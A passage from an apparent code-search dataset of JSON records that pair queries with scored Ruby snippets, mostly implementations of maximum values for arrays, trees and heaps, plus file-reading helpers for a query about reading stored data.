"docid": "0e9c0bb95d3d7d3a53e1af137ea9bfee",
"score": "0.69619906",
"text": "def max_point\n # generate the bounding box if not already done\n bounding_box\n # return the max\n @max\n end",
"title": ""
},
{
"docid": "41e024232fc4e530a8181de5fe4bebb5",
"score": "0.69586563",
"text": "def maximum(tree_node = @root)\n end",
"title": ""
},
{
"docid": "41e024232fc4e530a8181de5fe4bebb5",
"score": "0.69586563",
"text": "def maximum(tree_node = @root)\n end",
"title": ""
},
{
"docid": "15b763d5fc41d6acfa0476d88e810fa5",
"score": "0.6954532",
"text": "def maximum_value\n @maximum_value || store.max\n end",
"title": ""
},
{
"docid": "9ed21662d57f6016465194f61bffc4bc",
"score": "0.69396",
"text": "def max\n\t\t@max || nil\n\tend",
"title": ""
},
{
"docid": "8cd74f6f4fe1c32d94302b53aba01436",
"score": "0.69321364",
"text": "def max!\n self.pop\n end",
"title": ""
},
{
"docid": "5bb0b460b1e43ee5787582d995f90a79",
"score": "0.69298756",
"text": "def max\n @v.compact.max\n rescue\n nil\n end",
"title": ""
},
{
"docid": "5ed0798eb1baf71b3dd57196a63cbd08",
"score": "0.69261366",
"text": "def get_max\n @max\n end",
"title": ""
},
{
"docid": "f1c3025e6e2152ae3961b83a671c9d83",
"score": "0.69260305",
"text": "def max\n self.class.max\n end",
"title": ""
},
{
"docid": "e8e933e9dc3d58bab61196ff832032ec",
"score": "0.6922007",
"text": "def max\n MSPhysics::Newton::Hinge.get_max(@address)\n end",
"title": ""
},
{
"docid": "dd94f69bb70d8c94b11b4336ba6b432b",
"score": "0.6913558",
"text": "def maximum(tree_node = @root)\n max_node = tree_node\n while max_node.right != nil\n max_node = max_node.right\n end\n max_node\n end",
"title": ""
},
{
"docid": "b25bb2a77ced187d618be8e0cb292eca",
"score": "0.6913529",
"text": "def max\n array.length - 1\n end",
"title": ""
},
{
"docid": "755b6eb905c2b69ca84c18708c5a8140",
"score": "0.69125825",
"text": "def find_max_value(array)\n max_element = 0\n array.length.times { |index|\n if max_element < array[index]\n max_element = array[index]\n end\n }\n return max_element\nend",
"title": ""
},
{
"docid": "0c7ae073d02f1be69cb2b5d9eadc9693",
"score": "0.69112927",
"text": "def last_child\n children.max_by { |x| x.position}\n end",
"title": ""
},
{
"docid": "02949d4800fbe4ae63203a86d2c25952",
"score": "0.6909476",
"text": "def max_key\n @root.nil? ? nil : max_recursive(@root)\n end",
"title": ""
},
{
"docid": "85676c83908729d450458d933faf9a44",
"score": "0.6907201",
"text": "def max_heapify(index)\n if self.left_i(index) > (self.size - 1) && self.right_i(index) > (self.size - 1)\n self.max_heapify_bottom_up(index)\n else\n self.max_heapify_top_down(index)\n end\n end",
"title": ""
},
{
"docid": "bda8f899998f1aa7c5df140dd5dd3726",
"score": "0.6901935",
"text": "def max\n self.reduce('lambda{|memo, item| memo > item ? memo : item }')\n end",
"title": ""
},
{
"docid": "da29c63e92873ec232ef1766340171af",
"score": "0.68996996",
"text": "def maximum(tree_node = @root)\n curr_node = tree_node\n curr_node = curr_node.right until curr_node.right == nil\n\n return curr_node\n end",
"title": ""
},
{
"docid": "e461973b35c1fe8323caa9a5732aa7d6",
"score": "0.6892091",
"text": "def find_max_value(array)\n array.max { |item|\n return array.max\n }\n \nend",
"title": ""
},
{
"docid": "b735c697e938735339b7db0c1aed829d",
"score": "0.6885924",
"text": "def getMin()\n element=@store[1]\n\n #copy last element to the first...\n @store[1]=@store[@store.length-1]\n @store.delete_at(@store.length-1) #delete the last element \n\n #We need to restore the Heap Structure if altered\n heapify(1)\n return element\n end",
"title": ""
},
{
"docid": "b70a2aff60a37d3cf7757e82cb45fdab",
"score": "0.68778485",
"text": "def max(arr)\n return nil if arr.empty?\n result = arr[0]\n arr[1...-1].each do |item|\n if item > result\n result = item\n end\n end\n return result\nend",
"title": ""
},
{
"docid": "0a858927d309d23ea8ced0db42aac4e3",
"score": "0.68665034",
"text": "def find_max_value (array)\n array.max # Add your solution here\nend",
"title": ""
},
{
"docid": "ed21e3dc17b331fa63dbf5bab25d1a0d",
"score": "0.6854597",
"text": "def max\n if size == 0\n 0/0.0\n else\n self.size - 1\n end\n end",
"title": ""
},
{
"docid": "b1a8942a8f0d78ad3d7874e7a092a36b",
"score": "0.6853748",
"text": "def max\n return nil if @root.nil?\n n = @root\n while n.right\n n = n.right\n end\n splay(n.key)\n return [n.key, n.value]\n end",
"title": ""
},
{
"docid": "1ac3b0f7041b27bfd0df9c4559291b2a",
"score": "0.6853153",
"text": "def max arr\n\tarr.max\nend",
"title": ""
},
{
"docid": "32046377a289cfcc0c170b18460ba0ec",
"score": "0.6849224",
"text": "def maximum(tree_node = @root)\n until tree_node.right.nil?\n tree_node = tree_node.right\n end\n return tree_node\n end",
"title": ""
},
{
"docid": "07d898a131d7861ba40b22671d186d40",
"score": "0.6848481",
"text": "def highest\n @level_order.last\n end",
"title": ""
},
{
"docid": "d78109cc46ef2525bc02e8f079a4438a",
"score": "0.684486",
"text": "def maximum(tree_node = @root)\n curr = tree_node\n until curr.right.nil? \n curr = curr.right\n end\n curr \n end",
"title": ""
},
{
"docid": "ecfe91cfb165f087dcaf895132c2cb68",
"score": "0.6841402",
"text": "def remove_max\n\n if @max_heap.length == 1\n return @max_heap.pop\n end\n\n # Replace the first element with the last element\n last_node = @max_heap.pop\n max_node = @max_heap.shift\n @max_heap.unshift(last_node)\n\n parent_idx = 0\n\n # Sink down the current first node to its correct position\n while parent_idx < @max_heap.length\n left_child_idx = (parent_idx * 2) + 1\n right_child_idx = (parent_idx * 2) + 2\n\n # Compare the values if the right and left child are in the correct index\n swap = nil\n if left_child_idx < @max_heap.length\n swap = left_child_idx if @max_heap[left_child_idx] > @max_heap[parent_idx]\n end\n\n if right_child_idx < @max_heap.length\n if swap.nil? && @max_heap[right_child_idx] > @max_heap[parent_idx] || swap != nil? && @max_heap[right_child_idx] > @max_heap[left_child_idx]\n swap = right_child_idx\n end\n end\n\n break if swap.nil?\n\n @max_heap[parent_idx], @max_heap[swap] = @max_heap[swap], @max_heap[parent_idx]\n\n parent_idx = swap\n\n end\n\n max_node\nend",
"title": ""
},
{
"docid": "69059405ae33e714813f2f8c6a85bbc9",
"score": "0.683261",
"text": "def highestnumber2 arr\n idx = 0 \n idx2 = 0 \n max = arr[0][0]\n\n while idx <= arr.length - 1\n\n if (highestnumber arr[idx]) > max\n max = highestnumber arr[idx]\n idx2 = idx \n end \n idx = idx + 1\n end\n return arr[idx2]\nend",
"title": ""
},
{
"docid": "902c628ba9625e8d220fa811fe8210e5",
"score": "0.68282104",
"text": "def maximum(tree_node = @root)\n until tree_node.right.nil?\n tree_node = tree_node.right\n end\n tree_node\n end",
"title": ""
},
{
"docid": "3f7fc1802a42bdc31f25791373653332",
"score": "0.6823929",
"text": "def maximum(tree_node = @root)\n while tree_node.right \n tree_node = tree_node.right\n end \n return tree_node\n end",
"title": ""
},
{
"docid": "5e4150ef1b5025427bcf3152972a3748",
"score": "0.6823752",
"text": "def max_heapify(arr, arr_len, parent)\n\n largest = parent # Assume the largest is the root of the subtree\n left_child = 2 * parent + 1 # left child's index\n right_child = 2 * parent + 2 # right child's index\n\n if left_child < arr_len && @data[left_child] > @data[largest] # Check bounds and if left child's index is new largest\n\n largest = left_child\n end\n\n if right_child < arr_len && @data[right_child] > @data[largest] # Check bounds and if right child's index is new largest\n\n largest = right_child\n end\n\n if largest != parent # If the largest isn't the root, then we have to swap to maintain the max heap property and re-max-heapify\n swap(arr, largest, parent) # Put the largest element which is the root at the end because it is now in the right place\n\n max_heapify(arr, arr_len, largest) # Going to have to max heapify after switching the root and last element\n end\n end",
"title": ""
},
{
"docid": "17399d1e92161b3c21283da11f1460c6",
"score": "0.68188083",
"text": "def maxvalue\n MAXVALUE\n end",
"title": ""
},
{
"docid": "aa6917a9f4522b41692979209eef8d9f",
"score": "0.6816325",
"text": "def get_max()\n end",
"title": ""
},
{
"docid": "95d367f5493020c958a07ff8a835bb66",
"score": "0.68099785",
"text": "def maximum(tree_node = @root)\n until tree_node.right.nil?\n tree_node = tree_node.right\n end\n\n tree_node\n end",
"title": ""
},
{
"docid": "5d5fad07c583c408469854669388857d",
"score": "0.68076843",
"text": "def max\n @max\n end",
"title": ""
},
{
"docid": "5d5fad07c583c408469854669388857d",
"score": "0.68076843",
"text": "def max\n @max\n end",
"title": ""
},
{
"docid": "4b6daf9f12228df72d31e65fd0542514",
"score": "0.68076587",
"text": "def maximum(tree_node = @root)\n while tree_node.right\n tree_node = tree_node.right\n end\n tree_node\n end",
"title": ""
},
{
"docid": "4b6daf9f12228df72d31e65fd0542514",
"score": "0.68076587",
"text": "def maximum(tree_node = @root)\n while tree_node.right\n tree_node = tree_node.right\n end\n tree_node\n end",
"title": ""
},
{
"docid": "fc6c9e92a07ca861f427bbb7f30189c1",
"score": "0.680217",
"text": "def maximum(tree_node = @root)\n tree_node = tree_node.right while tree_node.right\n tree_node\n end",
"title": ""
},
{
"docid": "f60e35ac89914238c233a2eeb50a5680",
"score": "0.67968476",
"text": "def last\n last = 0\n @vertices.each_index do |i|\n last = [get_max_from_neighbours(i), i, last].max\n end\n last\n end",
"title": ""
},
{
"docid": "5f797660878f682c0e1bc3ba66c3b7ff",
"score": "0.67963564",
"text": "def maximum(arr)\n bubble_sort(arr).last\nend",
"title": ""
},
{
"docid": "85695ad69e4c5182a4905271af890d57",
"score": "0.6794336",
"text": "def largest(root)\n if root.any? && root.right\n return largest(root.right) \n end\n \n return root.value\nend",
"title": ""
},
{
"docid": "887ca5b5297523d6e2931c72748ae144",
"score": "0.67891955",
"text": "def maximum(tree_node = @root)\n until tree_node.right == nil\n tree_node = tree_node.right\n end\n tree_node\n end",
"title": ""
},
{
"docid": "887ca5b5297523d6e2931c72748ae144",
"score": "0.67891955",
"text": "def maximum(tree_node = @root)\n until tree_node.right == nil\n tree_node = tree_node.right\n end\n tree_node\n end",
"title": ""
}
] |
6004291a60ef9b01e4ecaffeac8c6f12
|
Read the stored data in ~/.rgfile
|
[
{
"docid": "c0aae20d519914d3062f9703b5bcb08d",
"score": "0.567468",
"text": "def read\n File.open(path, 'r').read\n end",
"title": ""
}
] |
[
{
"docid": "bda3e2a2911be8d458aa2a374e693746",
"score": "0.647283",
"text": "def read\n begin\n @mg.get_file_data(@key)\n rescue => e\n puts \"read error: #{e.inspect}, key: #{@key}\"\n ''\n end\n end",
"title": ""
},
{
"docid": "664f347f665c413192b69323f2664537",
"score": "0.62580097",
"text": "def read(filepath); end",
"title": ""
},
{
"docid": "017bd02d0558ae5e8c9f65ca6a76da9b",
"score": "0.623193",
"text": "def read_from_file; end",
"title": ""
},
{
"docid": "017bd02d0558ae5e8c9f65ca6a76da9b",
"score": "0.623193",
"text": "def read_from_file; end",
"title": ""
},
{
"docid": "e71fd1184c9dd2c50388769813cb9dac",
"score": "0.61826754",
"text": "def read file\n File.open file\n end",
"title": ""
},
{
"docid": "638f6da8edf9fef6732bff9c38149d04",
"score": "0.61551416",
"text": "def read_file(path); end",
"title": ""
},
{
"docid": "638f6da8edf9fef6732bff9c38149d04",
"score": "0.61551416",
"text": "def read_file(path); end",
"title": ""
},
{
"docid": "7fe833c82da88c9b75b2ea1cf429d1b0",
"score": "0.6021374",
"text": "def read\n file = File.open(Dir.pwd+'/'+@file)\n\n # read the lines of the db file into an array\n users = file.readlines\n file.close\n users\n end",
"title": ""
},
{
"docid": "caf1358063c30e52f6d38362cbe46f20",
"score": "0.6014583",
"text": "def read\n file\n end",
"title": ""
},
{
"docid": "caf1358063c30e52f6d38362cbe46f20",
"score": "0.6014583",
"text": "def read\n file\n end",
"title": ""
},
{
"docid": "85eca8daedb4c66cd2adf171405dfa33",
"score": "0.59679484",
"text": "def read\n raise DataFileNotConfigured unless file\n raise MissingDataFile unless File.exist?(path)\n File.read path\n end",
"title": ""
},
{
"docid": "779c9331a652bccd13f7c5c01d070afd",
"score": "0.5926332",
"text": "def get_raw\n \t @data ||= File.read raw_path\n end",
"title": ""
},
{
"docid": "98a8628aafb8eb9336e958f62de5ba97",
"score": "0.59106505",
"text": "def read_file(file_name)\n path = \"#{Rails.root}/lib/load_data/#{file_name}\"\n IO.readlines(path)\n end",
"title": ""
},
{
"docid": "97c10267eae8b783e0f794785369eb36",
"score": "0.58875686",
"text": "def read_config_file; end",
"title": ""
},
{
"docid": "63d2c00925dc729f0466a0729c08d383",
"score": "0.5878219",
"text": "def load_data(file_name)\n if File.exists?(file_name) and File.readable?(file_name)\n file = File.new(file_name)\n r = []\n file.readlines.each do |line|\n # TODO\n end\n r\n end\n end",
"title": ""
},
{
"docid": "5589ad35ac03d4ba950e2adef74d3a30",
"score": "0.5865737",
"text": "def read_data()\n File.open(\"#{filename}\", \"r\") { |file1| file1.read }\n end",
"title": ""
},
{
"docid": "d807f8e75a7c3822b4936c70eead6ac5",
"score": "0.585391",
"text": "def read\n file.raw_data\n end",
"title": ""
},
{
"docid": "d807f8e75a7c3822b4936c70eead6ac5",
"score": "0.585391",
"text": "def read\n file.raw_data\n end",
"title": ""
},
{
"docid": "090deed3cb28c3382096ae854c6b1398",
"score": "0.58229154",
"text": "def read\n file = File.open(@path)\n file.read\n end",
"title": ""
},
{
"docid": "d08a60b48f4f9afb879ab63f55665a50",
"score": "0.5812728",
"text": "def read_file(filename); end",
"title": ""
},
{
"docid": "80f424f115dc9bd21dc44f98e8510ad9",
"score": "0.5796271",
"text": "def read_files\n @IUCF_DATA = Common.file_read(@IUCF)\n @UDEF_DATA = Common.file_read(@UDEF)\n end",
"title": ""
},
{
"docid": "7514d74522ceb5a1ea0694f1824ac176",
"score": "0.578959",
"text": "def readfile(path=(FILE_STORE + 'dictionary.txt'))\n\t\tdictionary_entry = IO.readlines(path) if File::exists?(path)\n\t\treturn dictionary_entry\n\tend",
"title": ""
},
{
"docid": "c6087b0183f8eed0c6fc5c65907fac2d",
"score": "0.5746231",
"text": "def read\n\t\t\tFile.read(@path)\n\t\tend",
"title": ""
},
{
"docid": "2e861da956ba82a009f25599880493ef",
"score": "0.5738289",
"text": "def read\n inputfile = File.open(\"#{@file_name}\", 'r')\n inputfile.each_line do |line|\n @file_data << line.strip\n end\n end",
"title": ""
},
{
"docid": "90127eb9ec0d1551b1ff79e8c7cb4c8f",
"score": "0.57380295",
"text": "def fetch_data(user)\n array = read_from_file(\"userdata/#{user}.txt\")\n array[0]\n end",
"title": ""
},
{
"docid": "a8333ce4ce2dfac4ce71d99ec8208a26",
"score": "0.57263654",
"text": "def read_user_data(app_name)\n user_data_path = File.join(File.expand_path('..', __FILE__), 'plugins', 'user-data', app_name)\n fail(\"User data path #{user_data_path} not exists\") unless File.exist?(user_data_path)\n File.read(user_data_path)\n end",
"title": ""
},
{
"docid": "a5253a2637f006fb3c0ec320c10fd6a9",
"score": "0.572242",
"text": "def read(filename); end",
"title": ""
},
{
"docid": "81ce59a13e56c5b2438038d5b107545e",
"score": "0.57140464",
"text": "def read_file\n puts \"Starting to Read File\" if VERBOSE\n input_file = File.new(@filename)\n assign_plateau_size(input_file.readline)\n until input_file.eof?\n deploy_rover(input_file.readline, input_file.readline)\n end\n end",
"title": ""
},
{
"docid": "fe1501b436e1a19f216b67b598a6f506",
"score": "0.570096",
"text": "def read_contents\n\t\treturn File.open(self.file_name).read.split(/\\n/) if self.file_name\n\tend",
"title": ""
},
{
"docid": "a59c6c348985e97ca534c96fc28e193f",
"score": "0.56995994",
"text": "def load_file\n File.read('./data2.txt')\nend",
"title": ""
},
{
"docid": "ca19c3da2ad789883e4576e9f2ca8316",
"score": "0.5695895",
"text": "def readdata()\n deblog(\"basename=#{$0}\");\n script = $0;\n infile = script.gsub(/^\\.?\\/?(adventcode2015_)(.*?)[a-z]?\\.rb$/, '\\1in\\2.txt');\n if script == infile\n abort(\"error parsing datafile name\")\n end\n deblog(\"data filename=#{infile}\");\n return( readfile(infile) )\n end",
"title": ""
},
{
"docid": "93b06b865706ef8c1c8ae6952791f069",
"score": "0.5695473",
"text": "def read ; ::File.read(path) ; end",
"title": ""
},
{
"docid": "3e59be784b6e33ca974a7ba0fc91eb7c",
"score": "0.56900793",
"text": "def read\n File.read(@file_path)\n end",
"title": ""
},
{
"docid": "66866f33a3dfeae340b4c934917802b4",
"score": "0.5688985",
"text": "def data\n File.open(computed_path) { |fp| fp.read }\n end",
"title": ""
},
{
"docid": "2c6c2815f1ef857f3ce456865b425294",
"score": "0.5678654",
"text": "def read\n return unless File.file?(@path + \"#{@name}.json\")\n file = File.read(@path + \"#{@name}.json\")\n @data = JSON.parse(file)\n end",
"title": ""
},
{
"docid": "612917e0a478aa273f2464da5939902e",
"score": "0.56640047",
"text": "def readAggrStats path\n extend TCD::Common\n YAML.load readFile(path).join\n end",
"title": ""
},
{
"docid": "fc8621da0f733722b62b500ff6cc31e1",
"score": "0.5656763",
"text": "def load_rc_files; end",
"title": ""
},
{
"docid": "fc8621da0f733722b62b500ff6cc31e1",
"score": "0.5656763",
"text": "def load_rc_files; end",
"title": ""
},
{
"docid": "3381404c7ed54c7d2e5c2b366c1442ab",
"score": "0.5640515",
"text": "def read(file_name)\n path = home + file_name\n path.exist? ? path.read : nil\n end",
"title": ""
},
{
"docid": "d9ac4839c29aceb6d7103bb7f0e897d2",
"score": "0.5637575",
"text": "def read\n @read ||= self.class.read(path)\n end",
"title": ""
},
{
"docid": "2801d2714119a4bd88559bbc59584886",
"score": "0.5630245",
"text": "def read_cloud_file\n File.read(File.join(self.filesystem.right_scale_state_dir, 'cloud')) rescue nil\n end",
"title": ""
},
{
"docid": "83a757c63872d3608f56b478c66b1505",
"score": "0.56299627",
"text": "def read\n filepath.read\n end",
"title": ""
},
{
"docid": "ff0bbf6322d8dc92f4879a6223731f0e",
"score": "0.5626609",
"text": "def read_file\n file = File.open(@filename, 'r')\n file_data = file.read\n # iterate through file_data \n #try to play with what gets churned out inside file_data\n file.close\n return file_data\n end",
"title": ""
},
{
"docid": "68e32e1b47df791c981853c18244e8be",
"score": "0.56241363",
"text": "def data_file\n _get_data_file\n end",
"title": ""
},
{
"docid": "d2f8e68abacdca54d0671dd5fde7dbd2",
"score": "0.5621528",
"text": "def rc_files_to_load; end",
"title": ""
},
{
"docid": "d2f8e68abacdca54d0671dd5fde7dbd2",
"score": "0.5621528",
"text": "def rc_files_to_load; end",
"title": ""
},
{
"docid": "c46df082f6a6e195f2dbce7b1569d52a",
"score": "0.5601344",
"text": "def data\n @data ||= File.read(@path)\n end",
"title": ""
},
{
"docid": "df382dd2f548851835796d9d16bb03af",
"score": "0.5595974",
"text": "def read_file(path)\n File.read File.join(@base, path)\n end",
"title": ""
},
{
"docid": "d2c7a3b5338fe92ce37f9c8efacbf1db",
"score": "0.5590999",
"text": "def read_config\n YAML.load_file(File.expand_path('~/.alvalaxiarc'))\n end",
"title": ""
},
{
"docid": "4460924048505db62b459d849bc53d16",
"score": "0.55872715",
"text": "def read(key)\n File.read(file_for(key)) rescue nil # TODO make this better\n end",
"title": ""
},
{
"docid": "e412c08af29d0de4c81b649bd2aa0b4f",
"score": "0.55672693",
"text": "def read_from_file(fpath)\n run_sql(\"select load_file('#{fpath}')\")\n end",
"title": ""
},
{
"docid": "f1de234a3c7cc19abda92a2be8edbf35",
"score": "0.55611193",
"text": "def read\n contents = \"\"\n File.open(file.path).each {|line|\n contents << line\n }\n contents\n end",
"title": ""
},
{
"docid": "b9fe2fc8246b076d81434897d7977a14",
"score": "0.55605453",
"text": "def read(file)\n @read ||= {}\n @read[file] ||= File.readlines(file)\n end",
"title": ""
},
{
"docid": "445b598d5a92125cc958d78c8ae583c0",
"score": "0.55478954",
"text": "def read(filepath)\n data = nil\n open(filepath) do |file|\n data = file.read.clone\n end\n data\n end",
"title": ""
},
{
"docid": "445b598d5a92125cc958d78c8ae583c0",
"score": "0.55478954",
"text": "def read(filepath)\n data = nil\n open(filepath) do |file|\n data = file.read.clone\n end\n data\n end",
"title": ""
},
{
"docid": "058ea519205c209c70bf9f92b0a041c4",
"score": "0.55466473",
"text": "def readFile name\n end",
"title": ""
},
{
"docid": "84e151a01f633379e33f2d06955499f2",
"score": "0.55421084",
"text": "def load_file\n file_data = Bag::load_file(keypfile)\n @meta = file_data[:meta]\n @data = file_data[:data]|| {}\n @file_hash = file_data[:file_hash]\n end",
"title": ""
},
{
"docid": "00e4925834a0efa0f9df6b5eda643c8d",
"score": "0.5534708",
"text": "def data_file() = @data_file ||= \"#{data_path}.yml\"",
"title": ""
},
{
"docid": "d0c7df80d4fa1bd837b95e753da460f3",
"score": "0.55343306",
"text": "def read_file(f)\n file = File.open(f, 'r')\n data = file.read\n file.close\n data\nend",
"title": ""
},
{
"docid": "3ad2ae44761ab442a28924dcf51e1fd5",
"score": "0.55306834",
"text": "def read_raw_profile_d\n File.read('/etc/profile.d/jboss.sh')\n end",
"title": ""
},
{
"docid": "3ad2ae44761ab442a28924dcf51e1fd5",
"score": "0.55306834",
"text": "def read_raw_profile_d\n File.read('/etc/profile.d/jboss.sh')\n end",
"title": ""
},
{
"docid": "9c240cd5937aa7a639b07d5d496c81d4",
"score": "0.5526817",
"text": "def read_file_contents\n f = File.new(File.expand_path(@file))\n f.read\n ensure\n f.close\n end",
"title": ""
},
{
"docid": "3a6da7db03c6911e5024e5c5414fc544",
"score": "0.5525468",
"text": "def data(path)\n file(XDG.xdg_data_file(path))\n end",
"title": ""
},
{
"docid": "5ef0f4b3b57802c128bf40ef1c665069",
"score": "0.5523981",
"text": "def fs_read(file)\n File.read(File.join(self.git_dir, file))\n end",
"title": ""
},
{
"docid": "5ef0f4b3b57802c128bf40ef1c665069",
"score": "0.5523981",
"text": "def fs_read(file)\n File.read(File.join(self.git_dir, file))\n end",
"title": ""
},
{
"docid": "c64b3a8ce32be2d3fe7c97393cf0efd7",
"score": "0.55174434",
"text": "def read_file\n @grid = []\n File.open('marks.txt').readlines.each do |line|\n @grid << line\n end\n end",
"title": ""
},
{
"docid": "4ffbbeb4ea7fdde08ca2152d7fe7bc27",
"score": "0.5514683",
"text": "def read\n file._source\n end",
"title": ""
},
{
"docid": "ded33f7e8f4119cb3b8ed1c91280246a",
"score": "0.551026",
"text": "def read_recipes\r\n file_hash = JSON.parse(File.read(RECIPES_PATH))\r\n file_hash\r\n \r\n end",
"title": ""
},
{
"docid": "451f4125950f0fa46f561896959d67b8",
"score": "0.5504191",
"text": "def main\n creat_file(\"mydata.txt\")\n read_file(\"mydata.txt\")\nend",
"title": ""
},
{
"docid": "3aea96f56232747e4afa015fae959a38",
"score": "0.5499596",
"text": "def read\n client.get_file(path)\n end",
"title": ""
},
{
"docid": "07dabe70ad6f19d8cb43e0ef12b83302",
"score": "0.5495265",
"text": "def read(path)\n @instance = RSRuby.instance.eval_R(\"readRDS('#{path}')\")\n self\n end",
"title": ""
},
{
"docid": "04e46ced48678fdd281dfa4a4ca82864",
"score": "0.5491429",
"text": "def retrieve\n\t\tsuper {\n\t\t\tself.log.debug \"Reading data in session file\"\n\t\t\tofh = self.open( File::RDWR )\n\t\t\tofh.seek( 0, File::SEEK_SET )\n\t\t\tofh.read\n\t\t}\n\tend",
"title": ""
},
{
"docid": "04e46ced48678fdd281dfa4a4ca82864",
"score": "0.5491429",
"text": "def retrieve\n\t\tsuper {\n\t\t\tself.log.debug \"Reading data in session file\"\n\t\t\tofh = self.open( File::RDWR )\n\t\t\tofh.seek( 0, File::SEEK_SET )\n\t\t\tofh.read\n\t\t}\n\tend",
"title": ""
},
{
"docid": "16ff2cee3ee755d7c8f53176f050eed2",
"score": "0.54844135",
"text": "def read_config_file\n @config = YAML::load(File.open(Dir.home + '/.escli'))\n end",
"title": ""
},
{
"docid": "b55935833bf7b1ae7bcfb25339050607",
"score": "0.5484291",
"text": "def read_file(path)\n IO.read(unmap(path))\n end",
"title": ""
},
{
"docid": "930975c6efdd3819a885409916368c86",
"score": "0.54799014",
"text": "def data\n File.read(@path)\n end",
"title": ""
},
{
"docid": "382c7c7b9197c6ec8422d0d43d36ef27",
"score": "0.5479747",
"text": "def read_data\n begin\n JSON.parse(read_file)\n rescue JSON::ParserError\n []\n end\n end",
"title": ""
},
{
"docid": "1fe1ec172acf80fd73b6ca1b78e0c97c",
"score": "0.54788727",
"text": "def readini()\n @inihash = Ini.read_from_file(@path)\n end",
"title": ""
},
{
"docid": "64a2a209d572d97ca251bb14dcdb45bd",
"score": "0.54711586",
"text": "def read_data_object( filename )\n\n data_dir = self.config['data_dir'] || '_data'\n data_path = File.join(self.config['source'], data_dir)\n if File.symlink?(data_path)\n return \"Data directory '#{data_path}' cannot be a symlink\"\n end\n file = File.join(data_path, filename)\n\n return \"File #{file} could not be found\" if !File.exists?( file )\n \n result = nil\n Dir.chdir(data_path) do\n result = File.read( filename )\n end\n puts \"## Error: No data in #{file}\" if result.nil?\n # puts result\n result = JSON.parse( result ) if result\n { 'data' => result,\n 'mtime' => File.mtime(file) }\n end",
"title": ""
},
{
"docid": "ccc2d0bbee7a02f613c0fef4496d5120",
"score": "0.5469576",
"text": "def data\n @reloaded = false\n return @data unless File.exists?(@filepath)\n mtime = File.stat(@filepath).mtime\n return @data if mtime == @mtime\n puts \"Reloading data file #{@filepath}\"\n @mtime = mtime\n @data = File.read(@filepath)\n @reloaded = true\n @data\n end",
"title": ""
},
{
"docid": "b0271d2d1f810c16ea306d1895b4a963",
"score": "0.54694724",
"text": "def read_common_data(file)\n\teval File.new(\"/nfs/disk100/wormpub/DATABASES/current_DB/COMMON_DATA/#{file}\",'r')\n\treturn $VAR1\nend",
"title": ""
},
{
"docid": "62d457392a50166b1dc24e1e0a2d6559",
"score": "0.54692304",
"text": "def read_file(absolute_path); end",
"title": ""
},
{
"docid": "9d8ec296a5ea288b050f609b07f20107",
"score": "0.5469017",
"text": "def data_file_full_path\n component_file_full_path('rgz')\n end",
"title": ""
},
{
"docid": "a16d6c362a6f5a1e270c153d6884b5b7",
"score": "0.54611003",
"text": "def readConfigFile\n @config\n end",
"title": ""
},
{
"docid": "bff31c6783981e2d40884f3bfb49c5a3",
"score": "0.54600257",
"text": "def read_file(path)\n raise \"read_file not overridden on #{self.class}\"\n end",
"title": ""
},
{
"docid": "6946b9b92c7ceca455af6bb7c34ac390",
"score": "0.54488665",
"text": "def orgs_file_load\n JSON.load(File.open(orgs_file).read)\n end",
"title": ""
},
{
"docid": "718e6fa33cf9e097bd85bee49017916b",
"score": "0.5446774",
"text": "def read_repo_level_data\n cdjf = corresponding_data_json_file\n return {} if cdjf.nil?\n cdjf.read_data\n end",
"title": ""
},
{
"docid": "2be87171b89af906b3861131ce9a7759",
"score": "0.54452854",
"text": "def read\n File.read(path).chomp\n end",
"title": ""
},
{
"docid": "2be87171b89af906b3861131ce9a7759",
"score": "0.54452604",
"text": "def read\n File.read(path).chomp\n end",
"title": ""
},
{
"docid": "f2d2939a3f2602093daec51639772a34",
"score": "0.5443795",
"text": "def read_file \n\t\tSpreadsheet.client_encoding = 'UTF-8'\n\t\tdatabase = Spreadsheet.open './albums.xls'\n\t\tdatabase\n\tend",
"title": ""
},
{
"docid": "bf05c545c695942ab81fa6ca5a0aa633",
"score": "0.54351705",
"text": "def read_data(filename)\n filepath = DATA_PATH + filename\n file = File.read(filepath)\n db = JSON.parse(file)\n self.populate(db)\n end",
"title": ""
},
{
"docid": "c9cfee10a39b1d9ff9bda1bc05113fb2",
"score": "0.54323894",
"text": "def read(path)\n path = File.join(base_path, path) if base_path\n Stella.ld \"READING FILE: #{path}\"\n Stella::Testplan.readlines path\n end",
"title": ""
},
{
"docid": "07bfa34966ac7745af7bf2ac45609b32",
"score": "0.5430666",
"text": "def readFile()\n @file_list = []\n file_list_place = 0\n data_file = File.open(\"data.txt\")\n data_file.each do |line|\n file_list[file_list_place] = line.chomp\n file_list_place += 1\n end\n end",
"title": ""
},
{
"docid": "17286ffbdd4dc434b95d7dcfef97db62",
"score": "0.5430534",
"text": "def contents() File.read(@real_path) end",
"title": ""
},
{
"docid": "fa4bf8ee6977f329bc731c1ff6fbe3f9",
"score": "0.54239583",
"text": "def readFile\n\t\tfile = File.open(@filename,\"r\")\n\t\t@data = file.read\n \t\t\n\t\tfile.close\n\t\t\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "8aaae30f2d9ec788872e7677c9e69594",
"score": "0.54227346",
"text": "def read_from_file\n\tfilename = File.join($config['temp_dir'], \"#{Thread.current['conn']['userdata'].id}.txt\")\n\n\t# verify file exists\n\tif ! File.exists?(filename)\n\t\t$log.warn(\"#{filename} does not exist.\")\n\t\t# update database with some kind of error\n\t\treturn false\n\tend\n\n\tThread.current['client'].puts(\"BEGIN_LIST\")\n\n\t# read from file\n\tFile.open(filename, \"r\") do |f|\n\t\tf.each_line do |line|\n\t\t\tThread.current['client'].puts(line)\n\t\tend\n\tend\n\n\tThread.current['client'].puts(\"END_LIST\")\nend",
"title": ""
},
{
"docid": "d291ac9a891670f35a31f17fa6e68832",
"score": "0.5419554",
"text": "def read_file(path)\n File.read(File.expand_path(path, DMG.config_dir))\n end",
"title": ""
},
{
"docid": "f7e7327c46ce0d24fd173cb2cca1b960",
"score": "0.5412644",
"text": "def read_file(path)\n\n if !::File.file?(path)\n raise ::Errno::ENOENT.new(\"#{path} does not exist\")\n end\n\n #::Chef::Log.debug(\"Reading redis file #{path}\")\n\n ::File.read(path).each_line.with_index do |conf_line, index|\n\n # this builds a hash of key => value pairs for every config var it finds\n if conf_line.match(/^[^#]\\S+\\s/)\n conf_var, conf_val = conf_line.split(/\\s+/, 2)\n @conf_lookup[conf_var] ||= []\n #if !conf_lookup.has_key?(conf_var)\n # conf_lookup[conf_var] = []\n #end\n @conf_lookup[conf_var] << index\n end\n\n conf_line.rstrip!\n @conf_lines << conf_line\n\n end\n\n end",
"title": ""
},
{
